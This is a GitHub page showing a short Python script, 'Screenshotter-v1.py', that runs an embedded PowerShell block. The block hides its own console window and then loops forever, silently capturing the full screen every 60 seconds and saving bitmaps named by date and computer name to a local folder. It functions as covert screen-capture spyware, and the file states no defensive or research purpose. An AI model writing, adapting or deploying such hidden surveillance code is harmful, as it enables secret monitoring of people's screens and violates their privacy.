-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathScreenshotter-v1.py
69 lines (49 loc) · 2.43 KB
/
Screenshotter-v1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import time
import subprocess
subprocess.call(["C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe",
"""
#-----------------------------------------------------------------------------------------------
#-----------------------------------HIDES THE CONSOLE-------------------------------------------
#-----------------------------------------------------------------------------------------------
Add-Type -Name win -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
#-----------------------------------------------------------------------------------------------
#-----------------------------------------------------------------------------------------------
#-----------------------------------------------------------------------------------------------
#-----------------------------------------------------------------------------------------------
#--------------------------------THE MAIN CODE BEGINS-------------------------------------------
#-----------------------------------------------------------------------------------------------
while(1)
{
#following code is used to generate a proper date and time for the log file to be saved.
$hour = get-date -Format "hh"
$minute = get-date -Format "mm"
$day = get-date -Format "dd"
$month = get-date -Format "MM"
$year = get-date -format "yy"
$folder_name = ((Get-Date).ToString('yyyy-MM-dd'))
$date = "$day" + "-" + "$month" + "-" + "$year" + "___" + "$hour" + "-"+ "$minute" + "__"+"$env:COMPUTERNAME"+".bmp"
#the main code
# Path
$File = "C:\SS\$date"
# Add types and variables
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
# Gather Screen resolution information
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
# Set bounds
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
# Create Object
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
# Capture
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
# Save
$bitmap.Save($File)
Start-Sleep -s 60 #Wait in seconds so that loop may return after particular amount of time
}
"""
])